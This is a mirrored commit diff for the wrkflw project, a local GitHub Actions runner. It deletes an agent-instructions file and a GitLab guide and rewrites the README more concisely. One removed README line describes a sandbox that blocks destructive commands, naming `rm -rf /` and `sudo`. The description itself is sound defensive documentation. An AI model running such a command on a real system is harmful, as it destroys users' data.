mirror of
https://github.com/bahdotsh/wrkflw.git
synced 2026-05-18 05:05:35 +02:00
docs: clean up READMEs, remove dead files and bloat (#84)
* docs: gut the documentation bloat and remove dead files The documentation had grown into the kind of sprawling mess where the same feature gets explained three times in three different files, none of which agree with each other. The main README alone was 610 lines of duplicated sections, speculative roadmaps, and verbose limitation disclaimers that nobody reads. Remove 12 files that had no business existing: junk test files (hello.cpp, hello.rs, test.py), duplicate agent configs, a 487-line Podman testing manual, unused asciinema recordings, and 7MB of unreferenced GIF files. Merge the useful bits from GITLAB_USAGE.md into the main README where they belong. Rewrite the main README from 610 lines down to ~170. Every feature is mentioned once, in one place, with one example. The crate README now actually lists all 14 crates instead of pretending secrets doesn't exist. Net result: 3,819 lines deleted, 197 added. The documentation now fits in your head, which is the whole point. * docs: update crate READMEs for latest features and trim secrets The crate READMEs were quietly falling behind the actual code. The executor README didn't mention --job, environment file read-back, or job-level container directives. The UI README didn't mention job selection mode or the tui feature flag. The evaluator README didn't mention composite action input cross-checking. Meanwhile, the secrets README was 387 lines of documentation for a crate whose siblings average 25. It had full provider configuration examples, rate limiting docs, input validation specs, and benchmarking instructions — all of which belong in rustdoc, not a README that's supposed to give you a quick overview. Trim secrets to ~80 lines. Update executor, ui, evaluator, and wrkflw READMEs to reflect features from PRs #77-#83.
This commit is contained in:
27
AGENTS.md
27
AGENTS.md
@@ -1,27 +0,0 @@
|
||||
# Codebase Navigation — Use indxr MCP tools
|
||||
|
||||
An MCP server called `indxr` is available. Always use indxr tools before reading full files.
|
||||
|
||||
## Exploration workflow
|
||||
1. `search_relevant` — find files/symbols by concept or partial name
|
||||
2. `get_tree` — see directory/file layout
|
||||
3. `get_file_summary` / `batch_file_summaries` — understand files without reading them
|
||||
4. `explain_symbol` — get signature, docs, and relationships for a symbol
|
||||
5. `get_public_api` — public API surface of a file or module
|
||||
6. `get_callers` / `get_related_tests` — find references and tests
|
||||
7. `get_token_estimate` — check cost before deciding to read a full file
|
||||
8. `read_source` — read just one function/struct by name
|
||||
9. Read (full file) — ONLY when editing or need exact formatting
|
||||
|
||||
## When to read full files instead
|
||||
- You need to edit a file
|
||||
- You need exact formatting/whitespace
|
||||
- The file is not source code (e.g., config files, documentation)
|
||||
|
||||
## Do NOT
|
||||
- Read full source files just to understand what's in them
|
||||
- Dump all files into context
|
||||
- Use `git diff` when `get_diff_summary` would suffice
|
||||
|
||||
## After making code changes
|
||||
Run `regenerate_index` to keep the index current.
|
||||
@@ -1,83 +0,0 @@
|
||||
# Using wrkflw with GitLab Pipelines
|
||||
|
||||
This guide explains how to use the `wrkflw` tool to trigger GitLab CI/CD pipelines.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
1. A GitLab repository with a `.gitlab-ci.yml` file
|
||||
2. A GitLab personal access token with API access
|
||||
3. `wrkflw` installed on your system
|
||||
|
||||
## Setting Up
|
||||
|
||||
1. Create a GitLab personal access token:
|
||||
- Go to GitLab > User Settings > Access Tokens
|
||||
- Create a token with `api` scope
|
||||
- Copy the token value
|
||||
|
||||
2. Set the token as an environment variable:
|
||||
```bash
|
||||
export GITLAB_TOKEN=your_token_here
|
||||
```
|
||||
|
||||
## Triggering a Pipeline
|
||||
|
||||
You can trigger a GitLab pipeline using the `trigger-gitlab` command:
|
||||
|
||||
```bash
|
||||
# Trigger using the default branch
|
||||
wrkflw trigger-gitlab
|
||||
|
||||
# Trigger on a specific branch
|
||||
wrkflw trigger-gitlab --branch feature-branch
|
||||
|
||||
# Trigger with custom variables
|
||||
wrkflw trigger-gitlab --variable BUILD_RELEASE=true
|
||||
```
|
||||
|
||||
### Example: Triggering a Release Build
|
||||
|
||||
To trigger the release build job in our sample pipeline:
|
||||
|
||||
```bash
|
||||
wrkflw trigger-gitlab --variable BUILD_RELEASE=true
|
||||
```
|
||||
|
||||
This will set the `BUILD_RELEASE` variable to `true`, which activates the release job in our sample pipeline.
|
||||
|
||||
### Example: Building Documentation
|
||||
|
||||
To trigger the documentation build job:
|
||||
|
||||
```bash
|
||||
wrkflw trigger-gitlab --variable BUILD_DOCS=true
|
||||
```
|
||||
|
||||
## Controlling Job Execution with Variables
|
||||
|
||||
Our sample GitLab pipeline is configured to make certain jobs conditional based on variables. You can use the `--variable` flag to control which jobs run:
|
||||
|
||||
| Variable | Purpose |
|
||||
|----------|---------|
|
||||
| `BUILD_RELEASE` | Set to `true` to run the release job |
|
||||
| `BUILD_DOCS` | Set to `true` to build documentation |
|
||||
|
||||
## Checking Pipeline Status
|
||||
|
||||
After triggering a pipeline, you can check its status directly on GitLab:
|
||||
|
||||
1. Navigate to your GitLab repository
|
||||
2. Go to CI/CD > Pipelines
|
||||
3. Find your recently triggered pipeline
|
||||
|
||||
The `wrkflw` command will also provide a direct URL to the pipeline after triggering.
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
If you encounter issues:
|
||||
|
||||
1. Verify your GitLab token is set correctly
|
||||
2. Check that you're in a repository with a valid GitLab remote URL
|
||||
3. Ensure your `.gitlab-ci.yml` file is valid
|
||||
4. Check that your GitLab token has API access permissions
|
||||
5. Review GitLab's CI/CD pipeline logs for detailed error information
|
||||
643
README.md
643
README.md
@@ -1,83 +1,36 @@
|
||||
# WRKFLW
|
||||
|
||||
[](https://crates.io/crates/wrkflw)
|
||||
[](https://www.rust-lang.org/)
|
||||
[](LICENSE)
|
||||
[](https://github.com/bahdotsh/wrkflw/actions/workflows/build.yml)
|
||||
[](https://github.com/bahdotsh/wrkflw/actions/workflows/ci.yml)
|
||||
[](https://crates.io/crates/wrkflw)
|
||||
|
||||
WRKFLW is a powerful command-line tool for validating and executing GitHub Actions workflows locally, without requiring a full GitHub environment. It helps developers test their workflows directly on their machines before pushing changes to GitHub.
|
||||
A command-line tool for validating and executing GitHub Actions workflows locally. Test your workflows on your machine before pushing to GitHub.
|
||||
|
||||

|
||||
|
||||
## Features
|
||||
|
||||
- **TUI Interface**: A full-featured terminal user interface for managing and monitoring workflow executions
|
||||
- **Validate Workflow Files**: Check for syntax errors and common mistakes in GitHub Actions workflow files with proper exit codes for CI/CD integration
|
||||
- **Execute Workflows Locally**: Run workflows directly on your machine using Docker or Podman containers
|
||||
- **Multiple Container Runtimes**: Support for Docker, Podman, and emulation mode for maximum flexibility
|
||||
- **Job Dependency Resolution**: Automatically determines the correct execution order based on job dependencies
|
||||
- **Container Integration**: Execute workflow steps in isolated containers with proper environment setup
|
||||
- **GitHub Context**: Provides GitHub-like environment variables and workflow commands
|
||||
- **Rootless Execution**: Podman support enables running containers without root privileges
|
||||
- **Action Support**: Supports various GitHub Actions types:
|
||||
- Docker container actions
|
||||
- JavaScript actions
|
||||
- Composite actions
|
||||
- Local actions
|
||||
- **Special Action Handling**: Native handling for commonly used actions like `actions/checkout`
|
||||
- **Reusable Workflows (Caller Jobs)**: Execute jobs that call reusable workflows via `jobs.<id>.uses` (local path or `owner/repo/path@ref`)
|
||||
- **Output Capturing**: View logs, step outputs, and execution details
|
||||
- **Parallel Job Execution**: Runs independent jobs in parallel for faster workflow execution
|
||||
- **Trigger Workflows Remotely**: Manually trigger workflow runs on GitHub or GitLab
|
||||
|
||||
## Requirements
|
||||
|
||||
### Container Runtime (Optional)
|
||||
|
||||
WRKFLW supports multiple container runtimes for isolated execution:
|
||||
|
||||
- **Docker**: The default container runtime. Install from [docker.com](https://docker.com)
|
||||
- **Podman**: A rootless container runtime. Perfect for environments where Docker isn't available or permitted. Install from [podman.io](https://podman.io)
|
||||
- **Emulation**: No container runtime required. Executes commands directly on the host system
|
||||
|
||||
### Podman Support
|
||||
|
||||
Podman is particularly useful in environments where:
|
||||
- Docker installation is not permitted by your organization
|
||||
- Root privileges are not available for Docker daemon
|
||||
- You prefer rootless container execution
|
||||
- Enhanced security through daemonless architecture is desired
|
||||
|
||||
To use Podman:
|
||||
```bash
|
||||
# Install Podman (varies by OS)
|
||||
# On macOS with Homebrew:
|
||||
brew install podman
|
||||
|
||||
# On Ubuntu/Debian:
|
||||
sudo apt-get install podman
|
||||
|
||||
# Initialize Podman machine (macOS/Windows)
|
||||
podman machine init
|
||||
podman machine start
|
||||
|
||||
# Use with wrkflw
|
||||
wrkflw run --runtime podman .github/workflows/ci.yml
|
||||
```
|
||||
- **TUI interface** — interactive terminal UI for browsing, running, and monitoring workflows
|
||||
- **Workflow validation** — syntax checks, structural validation, and composite action input cross-checking with CI/CD-friendly exit codes
|
||||
- **Local execution** — run workflows using Docker, Podman, or emulation mode (no containers)
|
||||
- **Job selection** — run individual jobs with `--job` flag or via TUI job selection mode
|
||||
- **Job dependency resolution** — automatic ordering based on `needs` with parallel execution of independent jobs
|
||||
- **Action support** — Docker container actions, JavaScript actions, composite actions, and local actions
|
||||
- **Reusable workflows** — execute caller jobs via `jobs.<id>.uses` (local or `owner/repo/path@ref`)
|
||||
- **GitHub context emulation** — environment variables, `GITHUB_OUTPUT`, `GITHUB_ENV`, `GITHUB_PATH`, `GITHUB_STEP_SUMMARY`
|
||||
- **Matrix builds** — full support for `include`, `exclude`, `max-parallel`, and `fail-fast`
|
||||
- **Secrets management** — multiple providers (env, file, Vault, AWS, Azure, GCP) with masking and encryption
|
||||
- **Remote triggering** — trigger `workflow_dispatch` runs on GitHub or GitLab pipelines
|
||||
- **GitLab support** — validate and trigger GitLab CI pipelines
|
||||
|
||||
## Installation
|
||||
|
||||
The recommended way to install `wrkflw` is using Rust's package manager, Cargo:
|
||||
|
||||
### Using Cargo Install (Recommended)
|
||||
```bash
|
||||
cargo install wrkflw
|
||||
```
|
||||
|
||||
### From Source
|
||||
|
||||
Clone the repository and build using Cargo:
|
||||
Or build from source:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/bahdotsh/wrkflw.git
|
||||
@@ -85,336 +38,112 @@ cd wrkflw
|
||||
cargo build --release
|
||||
```
|
||||
|
||||
The compiled binary will be available at `target/release/wrkflw`.
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Launch the TUI (auto-detects .github/workflows)
|
||||
wrkflw
|
||||
|
||||
# Validate workflows
|
||||
wrkflw validate
|
||||
|
||||
# Run a workflow
|
||||
wrkflw run .github/workflows/ci.yml
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
The simplest way to use WRKFLW is to navigate to your project's root directory and run:
|
||||
### Validation
|
||||
|
||||
```bash
|
||||
wrkflw
|
||||
```
|
||||
|
||||
This will automatically detect and load all workflows from `.github/workflows` directory into the TUI interface.
|
||||
|
||||
WRKFLW also provides three main command modes:
|
||||
|
||||
### Validating Workflow Files
|
||||
|
||||
```bash
|
||||
# Validate all workflow files in the default location (.github/workflows)
|
||||
# Validate all workflows in .github/workflows
|
||||
wrkflw validate
|
||||
|
||||
# Validate a specific workflow file
|
||||
# Validate specific files or directories
|
||||
wrkflw validate path/to/workflow.yml
|
||||
wrkflw validate path/to/workflows/
|
||||
|
||||
# Validate workflows in a specific directory
|
||||
wrkflw validate path/to/workflows
|
||||
# Validate multiple paths
|
||||
wrkflw validate flow-1.yml flow-2.yml path/to/workflows/
|
||||
|
||||
# Validate multiple files and/or directories (GitHub and GitLab are auto-detected)
|
||||
wrkflw validate path/to/flow-1.yml path/to/flow-2.yml path/to/workflows
|
||||
|
||||
# Force GitLab parsing for all provided paths
|
||||
wrkflw validate --gitlab .gitlab-ci.yml other.gitlab-ci.yml
|
||||
|
||||
# Validate with verbose output
|
||||
wrkflw validate --verbose path/to/workflow.yml
|
||||
|
||||
# Validate GitLab CI pipelines
|
||||
# GitLab pipelines
|
||||
wrkflw validate .gitlab-ci.yml --gitlab
|
||||
|
||||
# Disable exit codes for custom error handling (default: enabled)
|
||||
wrkflw validate --no-exit-code path/to/workflow.yml
|
||||
# Verbose output
|
||||
wrkflw validate --verbose path/to/workflow.yml
|
||||
```
|
||||
|
||||
#### Exit Codes for CI/CD Integration
|
||||
**Exit codes:** `0` = all valid, `1` = validation failures, `2` = usage error. Use `--no-exit-code` to disable.
|
||||
|
||||
By default, `wrkflw validate` sets the exit code to `1` when validation fails, making it perfect for CI/CD pipelines and scripts:
|
||||
### Execution
|
||||
|
||||
```bash
|
||||
# In CI/CD scripts - validation failure will cause the script to exit
|
||||
if ! wrkflw validate; then
|
||||
echo "❌ Workflow validation failed!"
|
||||
exit 1
|
||||
fi
|
||||
echo "✅ All workflows are valid!"
|
||||
|
||||
# For custom error handling, disable exit codes
|
||||
wrkflw validate --no-exit-code
|
||||
if [ $? -eq 0 ]; then
|
||||
echo "Validation completed (check output for details)"
|
||||
fi
|
||||
```
|
||||
|
||||
**Exit Code Behavior:**
|
||||
- `0`: All validations passed successfully
|
||||
- `1`: One or more validation failures detected
|
||||
- `2`: Command usage error (invalid arguments, file not found, etc.)
|
||||
|
||||
### Running Workflows in CLI Mode
|
||||
|
||||
```bash
|
||||
# Run a workflow with Docker (default)
|
||||
# Run with Docker (default)
|
||||
wrkflw run .github/workflows/ci.yml
|
||||
|
||||
# Run a workflow with Podman instead of Docker
|
||||
# Run with Podman
|
||||
wrkflw run --runtime podman .github/workflows/ci.yml
|
||||
|
||||
# Run a workflow in emulation mode (without containers)
|
||||
# Run in emulation mode (no containers)
|
||||
wrkflw run --runtime emulation .github/workflows/ci.yml
|
||||
|
||||
# Run with verbose output
|
||||
wrkflw run --verbose .github/workflows/ci.yml
|
||||
# Run a specific job
|
||||
wrkflw run --job build .github/workflows/ci.yml
|
||||
|
||||
# List jobs in a workflow
|
||||
wrkflw run --jobs .github/workflows/ci.yml
|
||||
|
||||
# Preserve failed containers for debugging
|
||||
wrkflw run --preserve-containers-on-failure .github/workflows/ci.yml
|
||||
```
|
||||
|
||||
### Using the TUI Interface
|
||||
### TUI
|
||||
|
||||
```bash
|
||||
# Open TUI with workflows from the default directory
|
||||
# Open TUI with default directory
|
||||
wrkflw tui
|
||||
|
||||
# Open TUI with a specific directory of workflows
|
||||
wrkflw tui path/to/workflows
|
||||
|
||||
# Open TUI with a specific workflow pre-selected
|
||||
wrkflw tui path/to/workflow.yml
|
||||
|
||||
# Open TUI with Podman runtime
|
||||
# Open with specific runtime
|
||||
wrkflw tui --runtime podman
|
||||
|
||||
# Open TUI in emulation mode
|
||||
wrkflw tui --runtime emulation
|
||||
```
|
||||
|
||||
### Triggering Workflows Remotely
|
||||
**Controls:**
|
||||
|
||||
| Key | Action |
|
||||
|-----|--------|
|
||||
| `Tab` / `1-4` | Switch tabs (Workflows, Execution, Logs, Help) |
|
||||
| `Up/Down` or `j/k` | Navigate |
|
||||
| `Space` | Toggle selection |
|
||||
| `Enter` | Run / View details |
|
||||
| `r` | Run selected workflows |
|
||||
| `a` / `n` | Select all / Deselect all |
|
||||
| `e` | Cycle runtime (Docker / Podman / Emulation) |
|
||||
| `v` | Toggle Execution / Validation mode |
|
||||
| `t` | Trigger remote workflow |
|
||||
| `q` / `Esc` | Quit / Back |
|
||||
|
||||
### Remote Triggering
|
||||
|
||||
Trigger `workflow_dispatch` events on GitHub or GitLab.
|
||||
|
||||
```bash
|
||||
# Trigger a workflow remotely on GitHub
|
||||
wrkflw trigger workflow-name --branch main --input key1=value1 --input key2=value2
|
||||
# GitHub (requires GITHUB_TOKEN env var)
|
||||
wrkflw trigger workflow-name --branch main --input key=value
|
||||
|
||||
# Trigger a pipeline remotely on GitLab
|
||||
wrkflw trigger-gitlab --branch main --variable key1=value1 --variable key2=value2
|
||||
# GitLab (requires GITLAB_TOKEN env var)
|
||||
wrkflw trigger-gitlab --branch main --variable key=value
|
||||
```
|
||||
|
||||
## TUI Controls
|
||||
## Runtime Modes
|
||||
|
||||
The terminal user interface provides an interactive way to manage workflows:
|
||||
|
||||
- **Tab / 1-4**: Switch between tabs (Workflows, Execution, Logs, Help)
|
||||
- **Up/Down or j/k**: Navigate lists
|
||||
- **Space**: Toggle workflow selection
|
||||
- **Enter**: Run selected workflow / View job details
|
||||
- **r**: Run all selected workflows
|
||||
- **a**: Select all workflows
|
||||
- **n**: Deselect all workflows
|
||||
- **e**: Cycle through runtime modes (Docker → Podman → Emulation)
|
||||
- **v**: Toggle between Execution and Validation mode
|
||||
- **Esc**: Back / Exit detailed view
|
||||
- **q**: Quit application
|
||||
|
||||
## Examples
|
||||
|
||||
### Validating a Workflow
|
||||
|
||||
```bash
|
||||
$ wrkflw validate .github/workflows/rust.yml
|
||||
Validating GitHub workflow file: .github/workflows/rust.yml... Validating 1 workflow file(s)...
|
||||
✅ Valid: .github/workflows/rust.yml
|
||||
|
||||
Summary: 1 valid, 0 invalid
|
||||
|
||||
$ echo $?
|
||||
0
|
||||
|
||||
# Example with validation failure
|
||||
$ wrkflw validate .github/workflows/invalid.yml
|
||||
Validating GitHub workflow file: .github/workflows/invalid.yml... Validating 1 workflow file(s)...
|
||||
❌ Invalid: .github/workflows/invalid.yml
|
||||
1. Job 'test' is missing 'runs-on' field
|
||||
2. Job 'test' is missing 'steps' section
|
||||
|
||||
Summary: 0 valid, 1 invalid
|
||||
|
||||
$ echo $?
|
||||
1
|
||||
```
|
||||
|
||||
### Running a Workflow
|
||||
|
||||
```bash
|
||||
$ wrkflw run .github/workflows/rust.yml
|
||||
|
||||
Executing workflow: .github/workflows/rust.yml
|
||||
============================================================
|
||||
Runtime: Docker
|
||||
------------------------------------------------------------
|
||||
|
||||
✅ Job succeeded: build
|
||||
|
||||
------------------------------------------------------------
|
||||
✅ Checkout code
|
||||
✅ Set up Rust
|
||||
✅ Build
|
||||
✅ Run tests
|
||||
|
||||
✅ Workflow completed successfully!
|
||||
```
|
||||
|
||||
### Quick TUI Startup
|
||||
|
||||
```bash
|
||||
# Navigate to project root and run wrkflw
|
||||
$ cd my-project
|
||||
$ wrkflw
|
||||
|
||||
# This will automatically load .github/workflows files into the TUI
|
||||
```
|
||||
|
||||
## System Requirements
|
||||
|
||||
- Rust 1.67 or later
|
||||
- Container Runtime (optional, for container-based execution):
|
||||
- **Docker**: Traditional container runtime
|
||||
- **Podman**: Rootless alternative to Docker
|
||||
- **None**: Emulation mode runs workflows using local system tools
|
||||
|
||||
## How It Works
|
||||
|
||||
WRKFLW parses your GitHub Actions workflow files and executes each job and step in the correct order. For container modes (Docker/Podman), it creates containers that closely match GitHub's runner environments. The workflow execution process:
|
||||
|
||||
1. **Parsing**: Reads and validates the workflow YAML structure
|
||||
2. **Dependency Resolution**: Creates an execution plan based on job dependencies
|
||||
3. **Environment Setup**: Prepares GitHub-like environment variables and context
|
||||
4. **Execution**: Runs each job and step either in containers (Docker/Podman) or through local emulation
|
||||
5. **Monitoring**: Tracks progress and captures outputs in the TUI or command line
|
||||
|
||||
## Advanced Features
|
||||
|
||||
### GitHub Environment Files Support
|
||||
|
||||
WRKFLW supports GitHub's environment files and special commands:
|
||||
|
||||
- `GITHUB_OUTPUT`: For storing step outputs (`echo "result=value" >> $GITHUB_OUTPUT`)
|
||||
- `GITHUB_ENV`: For setting environment variables (`echo "VAR=value" >> $GITHUB_ENV`)
|
||||
- `GITHUB_PATH`: For modifying the PATH (`echo "/path/to/dir" >> $GITHUB_PATH`)
|
||||
- `GITHUB_STEP_SUMMARY`: For creating step summaries (`echo "# Summary" >> $GITHUB_STEP_SUMMARY`)
|
||||
|
||||
### Composite Actions
|
||||
|
||||
WRKFLW supports composite actions, which are actions made up of multiple steps. This includes:
|
||||
|
||||
- Local composite actions referenced with `./path/to/action`
|
||||
- Remote composite actions from GitHub repositories
|
||||
- Nested composite actions (composite actions that use other actions)
|
||||
|
||||
### Container Cleanup
|
||||
|
||||
WRKFLW automatically cleans up any containers created during workflow execution (Docker/Podman), even if the process is interrupted with Ctrl+C.
|
||||
|
||||
For debugging failed workflows, you can preserve containers that fail by using the `--preserve-containers-on-failure` flag:
|
||||
|
||||
```bash
|
||||
# Preserve failed containers for debugging
|
||||
wrkflw run --preserve-containers-on-failure .github/workflows/build.yml
|
||||
|
||||
# Also available in TUI mode
|
||||
wrkflw tui --preserve-containers-on-failure
|
||||
```
|
||||
|
||||
When a container fails with this flag enabled, WRKFLW will:
|
||||
- Keep the failed container running instead of removing it
|
||||
- Log the container ID and provide inspection instructions
|
||||
- Show a message like: `Preserving container abc123 for debugging (exit code: 1). Use 'docker exec -it abc123 bash' to inspect.` (Docker)
|
||||
- Or: `Preserving container abc123 for debugging (exit code: 1). Use 'podman exec -it abc123 bash' to inspect.` (Podman)
|
||||
|
||||
This allows you to inspect the exact state of the container when the failure occurred, examine files, check environment variables, and debug issues more effectively.
|
||||
|
||||
### Podman-Specific Features
|
||||
|
||||
When using Podman as the container runtime, you get additional benefits:
|
||||
|
||||
**Rootless Operation:**
|
||||
```bash
|
||||
# Run workflows without root privileges
|
||||
wrkflw run --runtime podman .github/workflows/ci.yml
|
||||
```
|
||||
|
||||
**Enhanced Security:**
|
||||
- Daemonless architecture reduces attack surface
|
||||
- User namespaces provide additional isolation
|
||||
- No privileged daemon required
|
||||
|
||||
**Container Inspection:**
|
||||
```bash
|
||||
# List preserved containers
|
||||
podman ps -a --filter "name=wrkflw-"
|
||||
|
||||
# Inspect a preserved container's filesystem (without executing)
|
||||
podman mount <container-id>
|
||||
|
||||
# Or run a new container with the same volumes
|
||||
podman run --rm -it --volumes-from <failed-container> ubuntu:20.04 bash
|
||||
|
||||
# Clean up all wrkflw containers
|
||||
podman ps -a --filter "name=wrkflw-" --format "{{.Names}}" | xargs podman rm -f
|
||||
```
|
||||
|
||||
**Compatibility:**
|
||||
- Drop-in replacement for Docker workflows
|
||||
- Same CLI options and behavior
|
||||
- Identical container execution environment
|
||||
|
||||
## Limitations
|
||||
|
||||
### Supported Features
|
||||
- ✅ Basic workflow syntax and validation (all YAML syntax checks, required fields, and structure) with proper exit codes for CI/CD integration
|
||||
- ✅ Job dependency resolution and parallel execution (all jobs with correct 'needs' relationships are executed in the right order, and independent jobs run in parallel)
|
||||
- ✅ Matrix builds (supported for reasonable matrix sizes; very large matrices may be slow or resource-intensive)
|
||||
- ✅ Environment variables and GitHub context (all standard GitHub Actions environment variables and context objects are emulated)
|
||||
- ✅ Container actions (all actions that use containers are supported in Docker and Podman modes)
|
||||
- ✅ JavaScript actions (all actions that use JavaScript are supported)
|
||||
- ✅ Composite actions (all composite actions, including nested and local composite actions, are supported)
|
||||
- ✅ Local actions (actions referenced with local paths are supported)
|
||||
- ✅ Special handling for common actions (e.g., `actions/checkout` is natively supported)
|
||||
- ✅ Reusable workflows (caller): Jobs that use `jobs.<id>.uses` to call local or remote workflows are executed; inputs and secrets are propagated to the called workflow
|
||||
- ✅ Workflow triggering via `workflow_dispatch` (manual triggering of workflows is supported)
|
||||
- ✅ GitLab pipeline triggering (manual triggering of GitLab pipelines is supported)
|
||||
- ✅ Environment files (`GITHUB_OUTPUT`, `GITHUB_ENV`, `GITHUB_PATH`, `GITHUB_STEP_SUMMARY` are fully supported)
|
||||
- ✅ TUI interface for workflow management and monitoring
|
||||
- ✅ CLI interface for validation, execution, and remote triggering
|
||||
- ✅ Output capturing (logs, step outputs, and execution details are available in both TUI and CLI)
|
||||
- ✅ Container cleanup (all containers created by wrkflw are automatically cleaned up, even on interruption)
|
||||
|
||||
### Limited or Unsupported Features (Explicit List)
|
||||
- ❌ GitHub secrets and permissions: Only basic environment variables are supported. GitHub's encrypted secrets and fine-grained permissions are NOT available.
|
||||
- ❌ GitHub Actions cache: Caching functionality (e.g., `actions/cache`) is NOT supported in emulation mode and only partially supported in Docker and Podman modes (no persistent cache between runs).
|
||||
- ❌ GitHub API integrations: Only basic workflow triggering is supported. Features like workflow status reporting, artifact upload/download, and API-based job control are NOT available.
|
||||
- ❌ GitHub-specific environment variables: Some advanced or dynamic environment variables (e.g., those set by GitHub runners or by the GitHub API) are emulated with static or best-effort values, but not all are fully functional.
|
||||
- ❌ Large/complex matrix builds: Very large matrices (hundreds or thousands of job combinations) may not be practical due to performance and resource limits.
|
||||
- ❌ Network-isolated actions: Actions that require strict network isolation or custom network configuration may not work out-of-the-box and may require manual container runtime configuration.
|
||||
- ❌ Some event triggers: Only `workflow_dispatch` (manual trigger) is fully supported. Other triggers (e.g., `push`, `pull_request`, `schedule`, `release`, etc.) are NOT supported.
|
||||
- ❌ GitHub runner-specific features: Features that depend on the exact GitHub-hosted runner environment (e.g., pre-installed tools, runner labels, or hardware) are NOT guaranteed to match. Only a best-effort emulation is provided.
|
||||
- ❌ Windows and macOS runners: Only Linux-based runners are fully supported. Windows and macOS jobs are NOT supported.
|
||||
- ❌ Service containers: Service containers (e.g., databases defined in `services:`) are only supported in Docker and Podman modes. In emulation mode, they are NOT supported.
|
||||
- ❌ Artifacts: Uploading and downloading artifacts between jobs/steps is NOT supported.
|
||||
- ❌ Job/step timeouts: Custom timeouts for jobs and steps are NOT enforced.
|
||||
- ❌ Job/step concurrency and cancellation: Features like `concurrency` and job cancellation are NOT supported.
|
||||
- ❌ Expressions and advanced YAML features: Most common expressions are supported, but some advanced or edge-case expressions may not be fully implemented.
|
||||
- ⚠️ Reusable workflows (limits):
|
||||
- Outputs from called workflows are not propagated back to the caller (`needs.<id>.outputs.*` not supported)
|
||||
- `secrets: inherit` is not special-cased; provide a mapping to pass secrets
|
||||
- Remote calls clone public repos via HTTPS; private repos require preconfigured access (not yet implemented)
|
||||
- Deeply nested reusable calls work but lack cycle detection beyond regular job dependency checks
|
||||
| Mode | Description | Best for |
|
||||
|------|-------------|----------|
|
||||
| **Docker** (default) | Full container isolation, closest to GitHub runners | Production, CI/CD |
|
||||
| **Podman** | Rootless containers, no daemon required | Security-conscious environments |
|
||||
| **Emulation** | Runs directly on host, no containers needed | Quick local testing |
|
||||
|
||||
## Reusable Workflows
|
||||
|
||||
WRKFLW supports executing reusable workflow caller jobs.
|
||||
|
||||
### Syntax
|
||||
|
||||
```yaml
|
||||
jobs:
|
||||
call-local:
|
||||
@@ -428,184 +157,70 @@ jobs:
|
||||
token: ${{ secrets.MY_TOKEN }}
|
||||
```
|
||||
|
||||
### Behavior
|
||||
- Local references are resolved relative to the current working directory.
|
||||
- Remote references are shallow-cloned at the specified `@ref` into a temporary directory.
|
||||
- `with:` entries are exposed to the called workflow as environment variables `INPUT_<KEY>`.
|
||||
- `secrets:` mapping entries are exposed as environment variables `SECRET_<KEY>`.
|
||||
- The called workflow executes according to its own `jobs`/`needs`; a summary of its job results is reported as a single result for the caller job.
|
||||
- Local refs resolve relative to the working directory
|
||||
- Remote refs are shallow-cloned at the specified `@ref`
|
||||
- `with:` entries become `INPUT_<KEY>` env vars; `secrets:` become `SECRET_<KEY>`
|
||||
|
||||
### Current limitations
|
||||
- Outputs from called workflows are not surfaced back to the caller.
|
||||
- `secrets: inherit` is not supported; specify an explicit mapping.
|
||||
- Private repositories for remote `uses:` are not yet supported.
|
||||
**Limitations:** outputs from called workflows are not propagated back; `secrets: inherit` is not supported; private repos for remote `uses:` are not yet supported.
|
||||
|
||||
### Runtime Mode Differences
|
||||
- **Docker Mode**: Provides the closest match to GitHub's environment, including support for Docker container actions, service containers, and Linux-based jobs. Some advanced container configurations may still require manual setup.
|
||||
- **Podman Mode**: Similar to Docker mode but uses Podman for container execution. Offers rootless container support and enhanced security. Fully compatible with Docker-based workflows.
|
||||
- **🔒 Secure Emulation Mode**: Runs workflows on the local system with comprehensive sandboxing for security. **Recommended for local development**:
|
||||
- Command validation and filtering (blocks dangerous commands like `rm -rf /`, `sudo`, etc.)
|
||||
- Resource limits (CPU, memory, execution time)
|
||||
- Filesystem access controls
|
||||
- Process monitoring and limits
|
||||
- Safe for running untrusted workflows locally
|
||||
- **⚠️ Emulation Mode (Legacy)**: Runs workflows using local system tools without sandboxing. **Not recommended - use Secure Emulation instead**:
|
||||
- Only supports local and JavaScript actions (no Docker container actions)
|
||||
- No support for service containers
|
||||
- No caching support
|
||||
- **No security protections - can execute harmful commands**
|
||||
- Some actions may require adaptation to work locally
|
||||
## Secrets Management
|
||||
|
||||
### Best Practices
|
||||
- **Use Secure Emulation mode for local development** - provides safety without container overhead
|
||||
- Test workflows in multiple runtime modes to ensure compatibility
|
||||
- **Use Docker/Podman mode for production** - provides maximum isolation and reproducibility
|
||||
- Keep matrix builds reasonably sized for better performance
|
||||
- Use environment variables instead of GitHub secrets when possible
|
||||
- Consider using local actions for complex custom functionality
|
||||
- **Review security warnings** - pay attention to blocked commands in secure emulation mode
|
||||
- **Start with secure mode** - only fall back to legacy emulation if necessary
|
||||
WRKFLW supports GitHub Actions-compatible `${{ secrets.* }}` syntax with multiple providers:
|
||||
|
||||
## Roadmap
|
||||
```bash
|
||||
# Environment variables (simplest)
|
||||
export GITHUB_TOKEN="ghp_..."
|
||||
wrkflw run .github/workflows/ci.yml
|
||||
|
||||
The following roadmap outlines our planned approach to implementing currently unsupported or partially supported features in WRKFLW. Progress and priorities may change based on user feedback and community contributions.
|
||||
# File-based secrets (JSON, YAML, or .env format)
|
||||
# Configure in ~/.wrkflw/secrets.yml
|
||||
```
|
||||
|
||||
### 1. Secrets and Permissions
|
||||
- **Goal:** Support encrypted secrets and fine-grained permissions similar to GitHub Actions.
|
||||
- **Plan:**
|
||||
- Implement secure secret storage and injection for workflow steps.
|
||||
- Add support for reading secrets from environment variables, files, or secret managers.
|
||||
- Investigate permission scoping for jobs and steps.
|
||||
Supported providers: environment variables, file-based, HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, Google Cloud Secret Manager. See the [secrets demo](examples/secrets-demo/) for detailed examples.
|
||||
|
||||
### 2. GitHub Actions Cache
|
||||
- **Goal:** Enable persistent caching between workflow runs, especially for dependencies.
|
||||
- **Plan:**
|
||||
- Implement a local cache directory for Docker mode.
|
||||
- Add support for `actions/cache` in both Docker and emulation modes.
|
||||
- Investigate cross-run cache persistence.
|
||||
## Limitations
|
||||
|
||||
### 3. GitHub API Integrations
|
||||
